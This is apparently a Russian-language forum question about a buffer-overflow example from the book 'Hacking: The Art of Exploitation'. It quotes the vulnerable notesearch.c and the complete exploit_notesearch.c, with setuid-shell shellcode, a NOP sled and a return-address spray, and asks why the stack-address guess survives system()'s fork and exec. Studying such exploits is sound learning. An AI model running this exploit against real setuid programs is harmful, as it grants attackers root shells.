Я читал эту книгу "Искусство эксплуатации", которая вроде как хорошая книга, и я наткнулся на этот пример из файла exploit_notesearch.c.
Вкратце автор пытается переполнить программу из файла notesearch.c
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
Аргумент главной функции копируется в массив searchstring и если аргумент больше 100 байт, то он переполнит адрес возврата главной функции.
Автор подготавливает шеллкод в exploit_notesearch.c и вызывает уязвимый notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); //run exploit
}
Видно, что шеллкод комбинируется с NOP салазками и адресом возврата, который должен указывать на эти NOP салазки. Автор использует адрес локальной переменной i в качестве точки отсчета и вычитает 270 байт, пытаясь таким образом определить приблизительное местоположение NOP салазок.
Как я понимаю, автор предполагает, что стекфрейм основной функции из уязвимого notesearch.c будет находиться в том же сегменте стека, что и стекфрейм основной функции из exploit_notesearch.c. Я предполагаю это потому, что только так может сработать эта манипуляция с адресом локальной переменной i.
Но, автор вызывает уязвимый notesearch.c с помощью функции system() вот так system(command). Дело в том, что эта функция system() где-то внутри использует fork() для порождения дочернего процесса и после этого использует функцию exec() для изменения образа процесса. Но если образ меняется, значит, сегмент стека будет свежим и все эти манипуляции с адресом локальной переменной i в функции main в exploit_notesearch.c будут бесполезны, но почему-то этот эксплойт работает, что меня совершенно не устраивает.